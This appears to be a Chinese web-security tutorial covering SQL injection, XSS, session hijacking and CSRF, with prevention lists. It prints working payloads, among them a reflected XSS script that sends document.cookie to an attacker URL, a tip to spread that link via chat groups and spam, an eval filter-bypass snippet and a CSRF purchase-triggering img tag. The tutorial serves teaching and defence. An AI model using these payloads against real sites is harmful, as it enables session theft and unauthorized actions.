SQL注入這塊不想細聊了,相信很多朋友都聽到耳朵長繭,不外乎是提交含有SQL操作語句的信息給后端,后端如果沒有做好過濾就執行該語句,攻擊者自然可以隨意操縱該站點的數據庫。
比如有一個圖書館站點book.com,你點進一本書的詳情頁面,其url是這樣的:
book.com/book?id=100
說明這本書在數據庫中的鍵值是100,后端收到url參數后就執行了數據庫查詢操作:
select * from booktable where id='100'
那么如果我們把url更改為
book.com/book?id=100'or'1'='1
那么數據庫操作執行就變成了:
select * from booktable where id='100'or'1'='1'
從而取出了整個booktable表單的全部數據。
XPath注入跟SQL注入差不多,只不過這里的數據庫走的xml格式,攻擊方式自然也得按xml查找的語法來了,具體可看這里。
cgi命令執行指的是用戶遠程訪問cgi腳本時,通過提交惡意的參數讓服務器執行相關的cgi命令來獲取信息甚至操縱服務器。有興趣的朋友可以看下這里。
對於這幾個攻擊,我們需要做的自然是對提交參數的過濾,最好是前端過濾一遍,后端也過濾一遍(后端的過濾和攔截是最重要的,畢竟通過在瀏覽器禁用腳本的配置可以躲過前端的過濾)。
XSS(cross-site scripting跨域腳本攻擊)攻擊也是最常見的WEB攻擊之一,其重點是“跨域”和“客戶端執行”。我們還是拿那個圖書館網站book.com來調侃下。
假設頁面右上角有一個搜索書籍的地方,你隨便輸入一本壓根就沒有的書,比如“有錢任性指南”,然后點擊“搜索”按鈕。這時候頁面(book.com/search?name=有錢任性指南)會返回一段信息:
您搜索的書籍“有錢任性指南”不存在
好的,那我們輸入這個怎樣:
<script>alert('沒有書開個毛線書店啊')</script>
假設這個圖書館站點沒有對數據做任何過濾,而且會原封不動地把用戶輸入的數據展示回來,那么返回的頁面自然也會返回這段腳本,從而執行它。
但是這樣不好玩,既然要做攻擊,我們就要獲取用戶的數據,要獲取數據自然要把信息傳回我們的服務器(假設接收信息的地址是http://vajoy/get),那咱們可以這樣寫:
<script>document.location='http://vajoy/get?cookie='+document.cookie</script>
不過這樣不好玩啊,收到的總是我們自己的數據,我們要收集的應該是別人的cookie信息啊!
小意思,不妨通過QQ群,或者通過群發垃圾郵件,來讓其他人點擊這個地址:
book.com/search?name=<script>document.location='http://vajoy/get?cookie='+document.cookie</script>
這種便是XSS攻擊中的一種,稱為“Reflected XSS”——基於反射的XSS攻擊,主要依靠站點服務端返回腳本,在客戶端觸發執行從而發起WEB攻擊。
與其相近的是“DOM-based or local XSS”——基於DOM或本地的XSS攻擊。拿我現在工作的項目做比方——為用戶提供免費的wifi,但是提供免費wifi的網關會往你訪問的任何頁面插入一段腳本,從而植入懸浮廣告(當然你可以關閉它),這貌似沒什么,但如果插入的腳本是獲取你敏感數據的惡意腳本那就不一樣了。像這種直接存在於頁面,無須經過服務器返回腳本處理就直接跨域發送用戶信息的行為就是基於本地的XSS攻擊。
還有最后一種稱為“Stored XSS”——基於存儲的XSS攻擊。它是通過貼吧啊博客園啊等地方來發表帶有惡意跨域腳本的帖子或文章,從而把惡意腳本存儲在里面,每個訪問該帖子/文章的人就會中招。
還記得一開始加載本文章的alert彈窗么?假設博客園對文章進行了過濾,把全部“alert”啊、"eval"啊等敏感字符都過濾掉,那我們怎么辦?我們可以這樣:
<script type="text/javascript">
var x='eva'+String.fromCharCode(108),y=window,e='a'+String.fromCharCode(108)+'ert("歡迎收看本文章")';
y[x]['call'](this,e);
</script>
照樣實現我們想要的彈窗無誤。
對於XSS的預防自然也是對提交數據的過濾,另外還有一點——謹慎返回用戶提交的內容!
會話劫持
百度百科有個很有意思的引喻——“在現實生活中,比如你去市場買菜,在交完錢后你要求先去干一些別的事情,稍候再來拿菜;如果這個時候某個陌生人要求把菜拿走,賣菜的人會把菜給陌生人嗎?”
這個比喻很有意思,我們常規訪問一個http網站時是與其服務器建立了一次HTTP會話。假設你宿舍樓的“朋友”都跟你處於同一個子網上,其中有人想偽裝成你來劫持你的HTTP會話,那么服務器會把菜,哦不,是信息返回給那個人嗎?
答案是肯定的,因為HTTP會話並不安全。它在經過TCP/IP協議封裝傳輸數據時,在傳輸的數據的每一個字節中插入一個32位的序列號碼,這個序列號用來保持跟蹤數據和提供可靠性(序列號是依循數據順序逐步遞增的)。第三方攻擊者可以通過嗅探的方式來獲取用戶與服務器通訊中的報文信息,如果他能猜測到數據中的序列號,那便能把合法的用戶斷開,偽裝成合法用戶讓自己控制后續的通話。
對於會話劫持的預防,可以走SSH協議、增強網絡安全系統健壯性,也可以使用無序的UUID來替代通訊中的序列號碼(而非逐步遞增)。
其它攻擊
其它攻擊包括有前面未提及的CSRF攻擊、釣魚攻擊和拒絕服務攻擊等。
CSRF(cross-site request forgery),翻譯為跨站請求偽造,與XSS非常相似,但XSS是利用用戶對當前網站的信任來發起攻擊,而CSRF是利用網站對用戶的信任來發起攻擊。
依舊拿上述的圖書館站點打個比方,如果它的安全機制很松懈——只要用戶登錄了網站后,只要沒關閉瀏覽器,在任何情況都可以作為一個已通過身份驗證的用戶來做購書、借書操作(無須重新登錄或者輸入支付密碼什么的,畢竟已經登錄驗證過一次了嘛)。
那么我們給一位用戶發送一份郵件怎樣,里面放有一條轉向購書執行頁面的鏈接。。。噢不,那樣還得用戶點擊它,我們想讓用戶看到的時候就立刻執行了購書操作,我們可以這樣做——在郵件中插入一張圖片:
<img src='http://book.com/pay?bookid=2881064151'/>
img、script、iframe標簽都是不受同源策略限制的,假設你使用的郵箱很直白地給用戶即時顯示這張圖片,而該用戶又剛好登錄了book.com且沒有關閉瀏覽器,那么src里的連接就會立刻訪問book.com/pay頁面,並按照已通過身份驗證的情況來處理,從而做了購書的操作。
相信現在你會很清楚為何現在的郵箱都不會直接顯示郵件里的圖片了吧——都是為了你的安全考慮。
對於CSRF攻擊,我們所能做的可以有:
1. 檢查報頭中的Referer參數確保請求發自正確的網站(但XHR請求可調用setRequestHeader方法來修改Referer報頭);
2. 對於任何重要的請求都需要重新驗證用戶的身份;
3. 創建一個唯一的令牌(Token),將其存在服務端的session中及客戶端的cookie中,對任何請求,都檢查二者是否一致。
釣魚攻擊指的是網站的偽造,比如ta0bao.com,然后在其中應用XSS等方式發起攻擊。
拒絕服務(DoS)指的是向網站發起洪水一樣的請求(Traffic Floor),導致服務器超負荷並關閉,處理方法常規是采用QoS(Quality of Service)的軟硬件解決方案。
攻擊層面
攻擊層面指的是有惡意的人可能會從哪些地方來入手制造麻煩,常見的攻擊層面有三種:
一. 傳統WEB應用程序
1. 表單輸入(甚至包括hidden控件的內容);
2. cookie(通過修改cookie內容也可以達到SQL注入攻擊的目的);
3. 報頭(有時候為了方便統計來源數據,服務器會把客戶端發來報頭的Referer、User-Agent信息存到數據庫中,那么通過修改報頭信息也可以起到SQL注入工具目的)
4. 請求參數
5. 上傳文件(在文件內攜帶惡意代碼)
二. Web服務
1. 上述“傳統WEB服務”的全部方法;
2. WSDL文檔(暴露了服務端的每個方法及其使用方式)
三. AJAX應用程序
即上述的“一”和“二”的合集
解決方案
綜上所述,我們可以這樣審視我們的WEB站點:
1. 永遠不要相信客戶端傳來的任何信息,對這些信息都應先進行編碼或過濾處理;
2. 謹慎返回用戶輸入的信息;
3. 使用黑名單和白名單處理(即“不允許哪些敏感信息”或“只允許哪些信息”,白名單的效果更好但局限性高);
4. 檢查、驗證請求來源,對每一個重要的操作都進行重新驗證;
5. 使用SSL防止第三方監聽通信(但無法阻止XSS、CSRF、SQL注入攻擊);
6. 不要將重要文件、備份文件存放在公眾可訪問到的地方;
7. 會話ID無序化;
8. 對用戶上傳的文件進行驗證(不單單是格式驗證,比方一張gif圖片還應將其轉為二進制並驗證其每幀顏色值<無符號8位>和寬高值<無符號16位>);
9. WSDL文檔應當要求用戶注冊后才能獲取;